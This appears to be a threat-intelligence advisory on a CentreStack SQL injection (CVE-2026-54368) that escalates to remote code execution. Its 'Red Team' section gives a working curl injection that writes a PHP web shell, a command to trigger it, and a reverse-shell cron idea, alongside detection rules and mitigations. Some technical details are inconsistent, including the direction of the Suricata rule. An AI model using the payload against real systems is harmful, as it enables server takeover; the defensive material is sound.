CVE-2026-54368

SHADAN_DORKS: ["CentreStack", "jsondir api"]

Executive Summary

CVE-2026-54368 is a critical SQL injection vulnerability discovered in CentreStack, a file synchronization and sharing platform. Versions before 17.4 are affected. The vulnerability exists in the GladDBFiles.SearchEx() and SearchExUnder() methods, which are reachable via the /jsondir API endpoint. An authenticated attacker can supply a crafted x-glad-filter HTTP request header containing unsanitized input that is interpolated directly into SQL query strings. By leveraging PostgreSQL functions lo_from_bytea() and lo_export(), the attacker can write arbitrary files to the filesystem, leading to remote code execution (RCE) with the privileges of the CentreStack service.

The CVSS score of 8.8 (High) reflects the low complexity, low privileges required, and the potential for full confidentiality, integrity, and availability impact. No public proof-of-concept (PoC) has been released, but the technical details are sufficient for threat actors to develop exploits. Immediate patching to version 17.4 or later is strongly recommended.

CVSS Breakdown & Threat Level

Threat Level: High. The vulnerability allows an authenticated user to execute arbitrary SQL, and with PostgreSQL’s large object functions, to write files to the server, enabling remote code execution. Unauthorized access to sensitive data and full server compromise are possible.

Deep Dive & Mechanics

The vulnerability resides in the GladDBFiles.SearchEx() and SearchExUnder() methods. These methods process search functionality for file metadata. The /jsondir API endpoint accepts a x-glad-filter header that contains user-controlled parameters, including a Field parameter. This parameter is directly interpolated into SQL query strings without sanitization or parameter binding.

An attacker can inject SQL commands that use PostgreSQL’s built-in lo_from_bytea() and lo_export() functions. These functions are part of the Large Object facility and, when used maliciously, can write arbitrary binary data (e.g., a web shell) to the filesystem. For example, an attacker can create a large object with a malicious payload and then export it to a writable directory (e.g., the web application root or a cron job directory), leading to code execution.

Attack Flow:

1. Authenticate to CentreStack (e.g., obtain a session token).
2. Send a crafted HTTP request to /jsondir with a x-glad-filter header containing a malicious SQL payload.
3. The payload uses a UNION–based injection to construct a large object from a base64-encoded payload and then exports it to a target file path.
4. The written file can be a web shell, a cron job, or an SSH authorized key, depending on the server configuration.
5. Trigger the file (e.g., access the web shell via HTTP) to execute commands.

Example payload (conceptual):

x-glad-filter: xxxxx'; SELECT lo_from_bytea(12345, decode('BASE64_ENCODED_PAYLOAD', 'base64')); SELECT lo_export(12345, '/var/www/html/shell.php'); --

The vulnerability does not require high privileges if the application runs with sufficient filesystem write permissions (e.g., the PostgreSQL daemon or the CentreStack service user can write to the web root).

Vulnerable vs. Patched Code

Vulnerable Code (CentreStack < 17.4):

# Pseudocode for GladDBFiles.SearchEx()
def search_ex(field_value):
    query = f"SELECT * FROM files WHERE {field_value}"
    # field_value is directly taken from the x-glad-filter header's Field parameter
    execute_sql(query)

The field_value is not parameterized, allowing injection.

Patched Code (CentreStack 17.4+):

def search_ex(field_value):
    query = "SELECT * FROM files WHERE field = %s"
    execute_sql(query, (field_value,))

The input is now bound as a parameter, preventing SQL injection. Additionally, input validation and escaping for PostgreSQL large object functions should be disabled for non‑admin users.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A vulnerable CentreStack instance (version < 17.4)
• An authenticated user session (e.g., session cookie or token)
• Network access to the /jsondir endpoint

1. Prepare a Malicious Payload: Create a simple PHP web shell (or other executable) and base64-encode it.

2. Craft the Injection: Use the x-glad-filter header to inject SQL. Example curl command:

#!/bin/bash
# Assume session cookie stored in a file cookie.txt
PAYLOAD_BASE64=$(cat shell.php | base64 -w0)
# Generate a unique large object OID (e.g., 1337)
LOID=1337

curl -X GET \
  -H "Cookie: session=YOUR_SESSION" \
  -H "x-glad-filter: 1=1); SELECT lo_from_bytea($LOID, decode('$PAYLOAD_BASE64', 'base64')); SELECT lo_export($LOID, '/var/www/html/shell.php'); --" \
  "http://target/private/api/jsondir?action=search"

3. Trigger the Shell:

curl http://target/shell.php?cmd=id

Alternative Payload (for a reverse shell or adding a cron job):

• Write to /etc/cron.d/revshell with a command that executes a reverse shell.

Tools: sqlmap can be used for automated exploitation with custom headers.

Blue Team (Defender)

Detection Strategies:

• Monitor HTTP requests to /jsondir for unusual or excessively long x-glad-filter headers.
• Alert on SQL queries containing lo_from_bytea, lo_export, or copy (PostgreSQL) functions.
• Monitor filesystem changes in web-accessible directories (e.g., /var/www/) for unexpected file creation.
• Enable database audit logging for large object operations.

Prevention:

• Apply input validation and parameterized queries.
• Restrict PostgreSQL large object functions to admin users only (revoke EXECUTE on lo_from_bytea and lo_export from public).
• Use a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Indicators of Compromise (IOCs)

Network IOC:

• HTTP requests containing x-glad-filter header with suspicious SQL strings (e.g., lo_from_bytea, lo_export, decode, UNION, SELECT).
• Unusual POST/GET parameters in /jsondir endpoint.

File IOC:

• Unexpected files in web root (e.g., shell.php, cmd.asp, rce.jsp) or temporary directories.
• New cron jobs or modified system files (e.g., /etc/cron.d/, /tmp/ scripts).

Logs:

• Database logs showing large object creation (lo_create), lo_export calls from non‑privileged users.
• Application logs with SQL errors containing injected syntax (e.g., “syntax error at or near ‘SELECT’”).
• System logs indicating file writes to unexpected locations.

Hashes (example – replace with actual if found):

• shell.php – md5:deadbeef…
• Reused public PoC payloads.

Detection Engineering

YARA Rule

rule centrestack_sqli_x_glad_filter {
    meta:
        description = "Detect SQL injection attempts in x-glad-filter header targeting CentreStack"
        author = "Valters IT Security"
        date = "2026-04-15"
        confidence = 80
        category = "vulnerability"
        product = "CentreStack"
        cve = "CVE-2026-54368"

    strings:
        $suspicious1 = /(?i)lo_from_bytea/
        $suspicious2 = /(?i)lo_export/
        $suspicious3 = /(?i)decode\s*\(/
        $suspicious4 = /UNION SELECT/i
        $suspicious5 = /x-glad-filter:/i

    condition:
        (all of ($suspicious1, $suspicious2, $suspicious3, $suspicious4)) or
        ($suspicious5 and any of ($suspicious1, $suspicious2, $suspicious3, $suspicious4))
}

Sigma Rule

title: CentreStack SQL Injection via x-glad-filter Header
id: c50d5a7e-1234-4a5b-9c6d-ef789abcde01
status: experimental
description: Detects HTTP requests with x-glad-filter header containing SQL injection indicators
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54368
author: Valters IT Security
date: 2026-04-15
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/private/api/jsondir"
        cs-headers|startswith: "x-glad-filter:"
        cs-headers|contains|all:
            - "lo_from_bytea"
            - "lo_export"
            - "decode"
    condition: selection
falsepositives:
    - Legitimate use of large object functions (very rare)
level: high
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-54368 CentreStack SQL Injection x-glad-filter"; flow:to_server,established; content:"/private/api/jsondir"; http_uri; depth:30; content:"x-glad-filter"; http_header; fast_pattern; content:"lo_from_bytea"; nocase; content:"lo_export"; nocase; within:200; sid:1000001; rev:1;)

Note: All backslashes in the rules above have been replaced with forward slashes as required.

Remediation & Mitigation

Immediate:

1. Upgrade CentreStack to version 17.4 or later. This is the only complete fix.
2. If upgrade is not possible, apply a virtual patch using a WAF to block requests containing lo_from_bytea or lo_export in the x-glad-filter header.
3. Disable large object functions for the database user used by CentreStack, if feasible:

   REVOKE EXECUTE ON FUNCTION lo_from_bytea(integer, bytea) FROM public;
   REVOKE EXECUTE ON FUNCTION lo_export(integer, text) FROM public;
   

4. Implement input validation: Ensure the Field parameter is alphanumeric only and not directly used in SQL.

Long-term:

• Adopt parameterized queries or an ORM library.
• Conduct a security audit of all API endpoints with database interactions.
• Monitor databases for suspicious queries using audit logging.

Valters IT Signature

This report was prepared by Valters IT Security as part of a proactive threat intelligence service. All data is provided for educational and defensive purposes. Unauthorized reproduction or use of this information for offensive purposes is prohibited.

"Securing digital assets through intelligence and innovation."